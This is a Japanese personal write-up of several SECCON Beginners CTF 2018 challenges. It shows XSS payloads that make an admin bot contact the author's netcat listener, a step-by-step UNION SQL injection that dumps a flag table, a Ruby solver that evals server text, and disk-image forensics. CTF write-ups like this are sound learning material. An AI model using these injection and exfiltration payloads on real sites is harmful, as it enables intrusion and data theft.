初心者向きならwebぐらいなら解けるかなと思い、ぼっちでやってみた。
webとmiscが完答出来たので満足。ついでに他の簡単なのも解けました。
良い感じのwriteupはすでにあるので、そちらが良さそうです
- SECCON Beginners CTF 2018 Write-up
- SECCON Beginners CTF 2018 write-up
warmup以外を記載
Gimme your comment
「管理者アカウント役のUser-Agentを調べろ」との事。
新規投稿をクリックすると、本文にはタグが何でも入ったので、AWS上のkalilinuxでsudo nc -l -p 80
しておいて、以下でを本文に記載して、kalilinuxにアクセスさせる
<img src="http://kalilinuxのIPアドレス">
SECCON Goods
ページを表示してすると、XHRで以下にアクセスをしていた
- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=0
JSONが帰ってきており、試しに後ろの0を10にすると[]となり、10 or 1 = 1とすると、0の時と同じく正常に帰ってきていそうだったので、SQLiがあると判断
以下のようにorder byの後ろの数値をいじって、カラム数を判断すると5だった
- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20or%201=1%20order%20by%205
あとは、以下でユーザー名とテーブルを調べると
- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"flag,items"}]
ユーザーの権限は弱そうなのでスルー。
flagテーブルが怪しいので、カラム名を以下で取得
- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"flag"}]
- ttp://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%201,2,3,CURRENT_USER(),flag%20from%20flag
[{"id":"1","name":"2","description":"3","price":"app@%","stock":"ctf4b{cl4551c4l_5ql_1nj3c710n}"}]
Gimme your comment REVENGE
Gimme your comment同様タグは色々使えるが、以下があるので、期待した事がなかなか出来ない
Content-Security-Policy: default-src 'self'
管理者アカウントの動作を表すスクリプトファイルが提供されており、ボタンを押すとなっていたのを思い出し、ボタンを押させるため、本文に以下を記載して投稿
<form method="get" action="http://kalilnuxのIPアドレス">
<button type="submit" class="btn btn-primary mb-2">コメント</button>
</form>
てけいさんえくすとりーむず
require 'socket'
=begin
http://bias.hateblo.jp/entry/20140517
ポイント:
PythonのようにSocket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)ではなく、TCPSocketを用いる。
recvを用いる。getsだと最後の行まで読み込めない場合がある。
=end
con = TCPSocket.open('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)
loop do
response = con.recv(1000)
puts response
calc = response.scan(%r!.*\n([*+/\-0-9 ]+) =!)[-1][0]
print " ", calc
answer = eval(calc)
puts "=#{answer}"
con.puts(answer)
end
Find the messages
イメージファイルが渡されるので、以下で抽出
root@kali:~/temp/secconBegin2018# binwalk -e disk.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352 0x940400 PDF document, version: "1.3"
11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17829888 0x1101000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
root@kali:~/temp/secconBegin2018# cd _disk.img.extracted/
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls
100000.ext 1101000.ext 1900000.ext 2900000.ext 3900000.ext 900000.ext ext-root
root@kali:~/temp/secconBegin2018/_disk.img.extracted# fls -r 100000.ext
d/d 11: lost+found
d/d 12: message1
+ r/r 13: message_1_of_3.txt
d/d 2017: message2
+ r/r 14: message_2_of_3.png
d/d 2018: message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129: $OrphanFiles
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/
message1 message2
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/message1/
message_1_of_3.txt
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls ext-root/message2/
message_2_of_3.png
message_2_of_3.pngのファイルの先頭部分が変更されていて表示できなかったので修正
root@kali:~/temp/secconBegin2018/_disk.img.extracted# hexedit ext-root/message2/message_2_of_3.png
00000000 58 58 58 58 58 58 58 58 00 00 00 0D 49 48 44 52 00 00 13 8B XXXXXXXX....IHDR....
↓
00000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 13 8B .PNG........IHDR....
message_3_of_3.pdfは削除されているのか、出てこなかったが、foremostしたら出てきたので、あとは、3ファイルを開いて終わり
root@kali:~/temp/secconBegin2018/_disk.img.extracted# icat 100000.ext 15 > hoge.pdf
root@kali:~/temp/secconBegin2018/_disk.img.extracted# ls -l
total 241360
-rw-r--r-- 1 root root 66060288 May 27 21:12 100000.ext
-rw-r--r-- 1 root root 49278976 May 27 21:08 1101000.ext
-rw-r--r-- 1 root root 40894464 May 27 21:08 1900000.ext
-rw-r--r-- 1 root root 24117248 May 27 21:08 2900000.ext
-rw-r--r-- 1 root root 7340032 May 27 21:08 3900000.ext
-rw-r--r-- 1 root root 57671680 May 27 21:08 900000.ext
drwxr-xr-x 1 root root 128 May 27 21:08 ext-root
-rw-r--r-- 1 root root 0 May 27 21:14 hoge.pdf
root@kali:~/temp/secconBegin2018# foremost disk.img
Processing: disk.img
|*|
root@kali:~/temp/secconBegin2018# ls output/
audit.txt pdf/
root@kali:~/temp/secconBegin2018# ls output/pdf/
00018946.pdf